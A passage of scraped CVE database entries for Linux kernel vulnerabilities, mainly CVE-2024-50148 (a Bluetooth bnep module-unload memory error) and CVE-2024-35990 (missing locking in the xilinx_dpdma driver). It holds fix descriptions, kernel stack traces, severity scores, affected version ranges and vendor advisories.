          "url": "https://git.kernel.org/stable/c/2efe8da2ddbf873385b4bc55366d09350b408df6"
        },
        {
          "url": "https://git.kernel.org/stable/c/da0392698c62397c19deb1b9e9bdf2fbb5a9420e"
        },
        {
          "url": "https://git.kernel.org/stable/c/a64f30db12bdc937c5108158d98c8eab1925c548"
        },
        {
          "url": "https://git.kernel.org/stable/c/8b7df76356d098f85f3bd2c7cf6fb43f531893d7"
        },
        {
          "url": "https://git.kernel.org/stable/c/c8b18a75282cfd27822a8cc3c1f005c1ac8d1a58"
        },
        {
          "url": "https://git.kernel.org/stable/c/a09dc967b3c58899e259c0aea092f421d22a0b04"
        },
        {
          "url": "https://git.kernel.org/stable/c/86dfdd8288907f03c18b7fb462e0e232c4f98d89"
        }
      ],
      "title": "RDMA/iwcm: Fix WARNING:at_kernel/workqueue.c:#check_flush_dependency",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-47696",
    "datePublished": "2024-10-21T11:53:33.950Z",
    "dateReserved": "2024-09-30T16:00:12.942Z",
    "dateUpdated": "2026-05-12T11:58:14.517Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50148 (GCVE-0-2024-50148)

Vulnerability from cvelistv5 – Published: 2024-11-07 09:31 – Updated: 2026-05-12 12:00

Title

Bluetooth: bnep: fix wild-memory-access in proto_unregister

Summary

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: bnep: fix wild-memory-access in proto_unregister There's issue as follows: KASAN: maybe wild-memory-access in range [0xdead...108-0xdead...10f] CPU: 3 UID: 0 PID: 2805 Comm: rmmod Tainted: G W RIP: 0010:proto_unregister+0xee/0x400 Call Trace: <TASK> __do_sys_delete_module+0x318/0x580 do_syscall_64+0xc1/0x1d0 entry_SYSCALL_64_after_hwframe+0x77/0x7f As bnep_init() ignore bnep_sock_init()'s return value, and bnep_sock_init() will cleanup all resource. Then when remove bnep module will call bnep_sock_cleanup() to cleanup sock's resource. To solve above issue just return bnep_sock_init()'s return value in bnep_exit().

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/e232728242c4e98fb…
https://git.kernel.org/stable/c/2c439470b23d78095…
https://git.kernel.org/stable/c/6c151aeb6dc414db8…
https://git.kernel.org/stable/c/fa58e23ea1359bd24…
https://git.kernel.org/stable/c/03015b6329e6de42f…
https://git.kernel.org/stable/c/d10cd7bf574ead01f…
https://git.kernel.org/stable/c/20c424bc475b2b2a6…
https://git.kernel.org/stable/c/64a90991ba8d4e32e…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < e232728242c4e98fb30e4c6bedb6ba8b482b6301 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 2c439470b23d78095a0d2f923342df58b155f669 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 6c151aeb6dc414db8f4daf51be072e802fae6667 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < fa58e23ea1359bd24b323916d191e2e9b4b19783 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 03015b6329e6de42f03ec917c25c4cf944f81f66 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < d10cd7bf574ead01fae140ce117a11bcdacbe6a8 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 20c424bc475b2b2a6e0e2225d2aae095c2ab2f41 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 64a90991ba8d4e32e3173ddd83d0b24167a5668c (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.229 , ≤ 5.10.* (semver) Unaffected: 5.15.170 , ≤ 5.15.* (semver) Unaffected: 6.1.115 , ≤ 6.1.* (semver) Unaffected: 6.6.59 , ≤ 6.6.* (semver) Unaffected: 6.11.6 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-50148",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T20:20:47.201820Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T20:27:13.459Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:26:07.376Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:00:21.323Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/bluetooth/bnep/core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e232728242c4e98fb30e4c6bedb6ba8b482b6301",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "2c439470b23d78095a0d2f923342df58b155f669",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "6c151aeb6dc414db8f4daf51be072e802fae6667",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "fa58e23ea1359bd24b323916d191e2e9b4b19783",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "03015b6329e6de42f03ec917c25c4cf944f81f66",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "d10cd7bf574ead01fae140ce117a11bcdacbe6a8",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "20c424bc475b2b2a6e0e2225d2aae095c2ab2f41",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "64a90991ba8d4e32e3173ddd83d0b24167a5668c",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/bluetooth/bnep/core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.229",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.170",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.115",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.59",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.229",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.170",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.115",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.59",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.6",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: bnep: fix wild-memory-access in proto_unregister\n\nThere\u0027s issue as follows:\n  KASAN: maybe wild-memory-access in range [0xdead...108-0xdead...10f]\n  CPU: 3 UID: 0 PID: 2805 Comm: rmmod Tainted: G        W\n  RIP: 0010:proto_unregister+0xee/0x400\n  Call Trace:\n   \u003cTASK\u003e\n   __do_sys_delete_module+0x318/0x580\n   do_syscall_64+0xc1/0x1d0\n   entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nAs bnep_init() ignore bnep_sock_init()\u0027s return value, and bnep_sock_init()\nwill cleanup all resource. Then when remove bnep module will call\nbnep_sock_cleanup() to cleanup sock\u0027s resource.\nTo solve above issue just return bnep_sock_init()\u0027s return value in\nbnep_exit()."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:46:22.446Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e232728242c4e98fb30e4c6bedb6ba8b482b6301"
        },
        {
          "url": "https://git.kernel.org/stable/c/2c439470b23d78095a0d2f923342df58b155f669"
        },
        {
          "url": "https://git.kernel.org/stable/c/6c151aeb6dc414db8f4daf51be072e802fae6667"
        },
        {
          "url": "https://git.kernel.org/stable/c/fa58e23ea1359bd24b323916d191e2e9b4b19783"
        },
        {
          "url": "https://git.kernel.org/stable/c/03015b6329e6de42f03ec917c25c4cf944f81f66"
        },
        {
          "url": "https://git.kernel.org/stable/c/d10cd7bf574ead01fae140ce117a11bcdacbe6a8"
        },
        {
          "url": "https://git.kernel.org/stable/c/20c424bc475b2b2a6e0e2225d2aae095c2ab2f41"
        },
        {
          "url": "https://git.kernel.org/stable/c/64a90991ba8d4e32e3173ddd83d0b24167a5668c"
        }
      ],
      "title": "Bluetooth: bnep: fix wild-memory-access in proto_unregister",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50148",
    "datePublished": "2024-11-07T09:31:24.987Z",
    "dateReserved": "2024-10-21T19:36:19.959Z",
    "dateUpdated": "2026-05-12T12:00:21.323Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35990 (GCVE-0-2024-35990)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:47 – Updated: 2026-05-12 11:53

Title

dma: xilinx_dpdma: Fix locking

Summary

In the Linux kernel, the following vulnerability has been resolved: dma: xilinx_dpdma: Fix locking There are several places where either chan->lock or chan->vchan.lock was not held. Add appropriate locking. This fixes lockdep warnings like [ 31.077578] ------------[ cut here ]------------ [ 31.077831] WARNING: CPU: 2 PID: 40 at drivers/dma/xilinx/xilinx_dpdma.c:834 xilinx_dpdma_chan_queue_transfer+0x274/0x5e0 [ 31.077953] Modules linked in: [ 31.078019] CPU: 2 PID: 40 Comm: kworker/u12:1 Not tainted 6.6.20+ #98 [ 31.078102] Hardware name: xlnx,zynqmp (DT) [ 31.078169] Workqueue: events_unbound deferred_probe_work_func [ 31.078272] pstate: 600000c5 (nZCv daIF -PAN -UAO -TCO -DIT -SSBS BTYPE=--) [ 31.078377] pc : xilinx_dpdma_chan_queue_transfer+0x274/0x5e0 [ 31.078473] lr : xilinx_dpdma_chan_queue_transfer+0x270/0x5e0 [ 31.078550] sp : ffffffc083bb2e10 [ 31.078590] x29: ffffffc083bb2e10 x28: 0000000000000000 x27: ffffff880165a168 [ 31.078754] x26: ffffff880164e920 x25: ffffff880164eab8 x24: ffffff880164d480 [ 31.078920] x23: ffffff880165a148 x22: ffffff880164e988 x21: 0000000000000000 [ 31.079132] x20: ffffffc082aa3000 x19: ffffff880164e880 x18: 0000000000000000 [ 31.079295] x17: 0000000000000000 x16: 0000000000000000 x15: 0000000000000000 [ 31.079453] x14: 0000000000000000 x13: ffffff8802263dc0 x12: 0000000000000001 [ 31.079613] x11: 0001ffc083bb2e34 x10: 0001ff880164e98f x9 : 0001ffc082aa3def [ 31.079824] x8 : 0001ffc082aa3dec x7 : 0000000000000000 x6 : 0000000000000516 [ 31.079982] x5 : ffffffc7f8d43000 x4 : ffffff88003c9c40 x3 : ffffffffffffffff [ 31.080147] x2 : ffffffc7f8d43000 x1 : 00000000000000c0 x0 : 0000000000000000 [ 31.080307] Call trace: [ 31.080340] xilinx_dpdma_chan_queue_transfer+0x274/0x5e0 [ 31.080518] xilinx_dpdma_issue_pending+0x11c/0x120 [ 31.080595] zynqmp_disp_layer_update+0x180/0x3ac [ 31.080712] zynqmp_dpsub_plane_atomic_update+0x11c/0x21c [ 31.080825] drm_atomic_helper_commit_planes+0x20c/0x684 [ 31.080951] drm_atomic_helper_commit_tail+0x5c/0xb0 [ 31.081139] commit_tail+0x234/0x294 [ 31.081246] drm_atomic_helper_commit+0x1f8/0x210 [ 31.081363] drm_atomic_commit+0x100/0x140 [ 31.081477] drm_client_modeset_commit_atomic+0x318/0x384 [ 31.081634] drm_client_modeset_commit_locked+0x8c/0x24c [ 31.081725] drm_client_modeset_commit+0x34/0x5c [ 31.081812] __drm_fb_helper_restore_fbdev_mode_unlocked+0x104/0x168 [ 31.081899] drm_fb_helper_set_par+0x50/0x70 [ 31.081971] fbcon_init+0x538/0xc48 [ 31.082047] visual_init+0x16c/0x23c [ 31.082207] do_bind_con_driver.isra.0+0x2d0/0x634 [ 31.082320] do_take_over_console+0x24c/0x33c [ 31.082429] do_fbcon_takeover+0xbc/0x1b0 [ 31.082503] fbcon_fb_registered+0x2d0/0x34c [ 31.082663] register_framebuffer+0x27c/0x38c [ 31.082767] __drm_fb_helper_initial_config_and_unlock+0x5c0/0x91c [ 31.082939] drm_fb_helper_initial_config+0x50/0x74 [ 31.083012] drm_fbdev_dma_client_hotplug+0xb8/0x108 [ 31.083115] drm_client_register+0xa0/0xf4 [ 31.083195] drm_fbdev_dma_setup+0xb0/0x1cc [ 31.083293] zynqmp_dpsub_drm_init+0x45c/0x4e0 [ 31.083431] zynqmp_dpsub_probe+0x444/0x5e0 [ 31.083616] platform_probe+0x8c/0x13c [ 31.083713] really_probe+0x258/0x59c [ 31.083793] __driver_probe_device+0xc4/0x224 [ 31.083878] driver_probe_device+0x70/0x1c0 [ 31.083961] __device_attach_driver+0x108/0x1e0 [ 31.084052] bus_for_each_drv+0x9c/0x100 [ 31.084125] __device_attach+0x100/0x298 [ 31.084207] device_initial_probe+0x14/0x20 [ 31.084292] bus_probe_device+0xd8/0xdc [ 31.084368] deferred_probe_work_func+0x11c/0x180 [ 31.084451] process_one_work+0x3ac/0x988 [ 31.084643] worker_thread+0x398/0x694 [ 31.084752] kthread+0x1bc/0x1c0 [ 31.084848] ret_from_fork+0x10/0x20 [ 31.084932] irq event stamp: 64549 [ 31.084970] hardirqs last enabled at (64548): [<ffffffc081adf35c>] _raw_spin_unlock_irqrestore+0x80/0x90 [ 31.085157] ---truncated---

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/fcdd5bb4a8c81c64c…
https://git.kernel.org/stable/c/0ccac964520a6f19e…
https://git.kernel.org/stable/c/8bf574183282d219c…
https://git.kernel.org/stable/c/8e3c94767cad51501…
https://git.kernel.org/stable/c/c660be571609e03e7…
https://git.kernel.org/stable/c/244296cc3a155199a…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 7cbb0c63de3fc218fd06ecfedb477772a4d12f76 , < fcdd5bb4a8c81c64c1334d7e0aba41a8829a24de (git) Affected: 7cbb0c63de3fc218fd06ecfedb477772a4d12f76 , < 0ccac964520a6f19e355652c8ca38af2a7f27076 (git) Affected: 7cbb0c63de3fc218fd06ecfedb477772a4d12f76 , < 8bf574183282d219cfa991f7df37aad491d74c11 (git) Affected: 7cbb0c63de3fc218fd06ecfedb477772a4d12f76 , < 8e3c94767cad5150198e4337c8b91f3bb068e14b (git) Affected: 7cbb0c63de3fc218fd06ecfedb477772a4d12f76 , < c660be571609e03e7d5972343536a736fcb31557 (git) Affected: 7cbb0c63de3fc218fd06ecfedb477772a4d12f76 , < 244296cc3a155199a8b080d19e645d7d49081a38 (git)
Linux	Linux	Affected: 5.9 Unaffected: 0 , < 5.9 (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.158 , ≤ 5.15.* (semver) Unaffected: 6.1.90 , ≤ 6.1.* (semver) Unaffected: 6.6.30 , ≤ 6.6.* (semver) Unaffected: 6.8.9 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35990",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-18T14:42:31.810522Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-18T14:42:59.781Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:30:11.494Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fcdd5bb4a8c81c64c1334d7e0aba41a8829a24de"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0ccac964520a6f19e355652c8ca38af2a7f27076"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8bf574183282d219cfa991f7df37aad491d74c11"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8e3c94767cad5150198e4337c8b91f3bb068e14b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c660be571609e03e7d5972343536a736fcb31557"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/244296cc3a155199a8b080d19e645d7d49081a38"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:29.670Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/dma/xilinx/xilinx_dpdma.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "fcdd5bb4a8c81c64c1334d7e0aba41a8829a24de",
              "status": "affected",
              "version": "7cbb0c63de3fc218fd06ecfedb477772a4d12f76",
              "versionType": "git"
            },
            {
              "lessThan": "0ccac964520a6f19e355652c8ca38af2a7f27076",
              "status": "affected",
              "version": "7cbb0c63de3fc218fd06ecfedb477772a4d12f76",
              "versionType": "git"
            },
            {
              "lessThan": "8bf574183282d219cfa991f7df37aad491d74c11",
              "status": "affected",
              "version": "7cbb0c63de3fc218fd06ecfedb477772a4d12f76",
              "versionType": "git"
            },
            {
              "lessThan": "8e3c94767cad5150198e4337c8b91f3bb068e14b",
              "status": "affected",
              "version": "7cbb0c63de3fc218fd06ecfedb477772a4d12f76",
              "versionType": "git"
            },
            {
              "lessThan": "c660be571609e03e7d5972343536a736fcb31557",
              "status": "affected",
              "version": "7cbb0c63de3fc218fd06ecfedb477772a4d12f76",
              "versionType": "git"
            },
            {
              "lessThan": "244296cc3a155199a8b080d19e645d7d49081a38",
              "status": "affected",
              "version": "7cbb0c63de3fc218fd06ecfedb477772a4d12f76",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/dma/xilinx/xilinx_dpdma.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.9"
            },
            {
              "lessThan": "5.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.158",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.90",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.30",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.9",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.158",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.90",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.30",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.9",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndma: xilinx_dpdma: Fix locking\n\nThere are several places where either chan-\u003elock or chan-\u003evchan.lock was\nnot held. Add appropriate locking. This fixes lockdep warnings like\n\n[   31.077578] ------------[ cut here ]------------\n[   31.077831] WARNING: CPU: 2 PID: 40 at drivers/dma/xilinx/xilinx_dpdma.c:834 xilinx_dpdma_chan_queue_transfer+0x274/0x5e0\n[   31.077953] Modules linked in:\n[   31.078019] CPU: 2 PID: 40 Comm: kworker/u12:1 Not tainted 6.6.20+ #98\n[   31.078102] Hardware name: xlnx,zynqmp (DT)\n[   31.078169] Workqueue: events_unbound deferred_probe_work_func\n[   31.078272] pstate: 600000c5 (nZCv daIF -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[   31.078377] pc : xilinx_dpdma_chan_queue_transfer+0x274/0x5e0\n[   31.078473] lr : xilinx_dpdma_chan_queue_transfer+0x270/0x5e0\n[   31.078550] sp : ffffffc083bb2e10\n[   31.078590] x29: ffffffc083bb2e10 x28: 0000000000000000 x27: ffffff880165a168\n[   31.078754] x26: ffffff880164e920 x25: ffffff880164eab8 x24: ffffff880164d480\n[   31.078920] x23: ffffff880165a148 x22: ffffff880164e988 x21: 0000000000000000\n[   31.079132] x20: ffffffc082aa3000 x19: ffffff880164e880 x18: 0000000000000000\n[   31.079295] x17: 0000000000000000 x16: 0000000000000000 x15: 0000000000000000\n[   31.079453] x14: 0000000000000000 x13: ffffff8802263dc0 x12: 0000000000000001\n[   31.079613] x11: 0001ffc083bb2e34 x10: 0001ff880164e98f x9 : 0001ffc082aa3def\n[   31.079824] x8 : 0001ffc082aa3dec x7 : 0000000000000000 x6 : 0000000000000516\n[   31.079982] x5 : ffffffc7f8d43000 x4 : ffffff88003c9c40 x3 : ffffffffffffffff\n[   31.080147] x2 : ffffffc7f8d43000 x1 : 00000000000000c0 x0 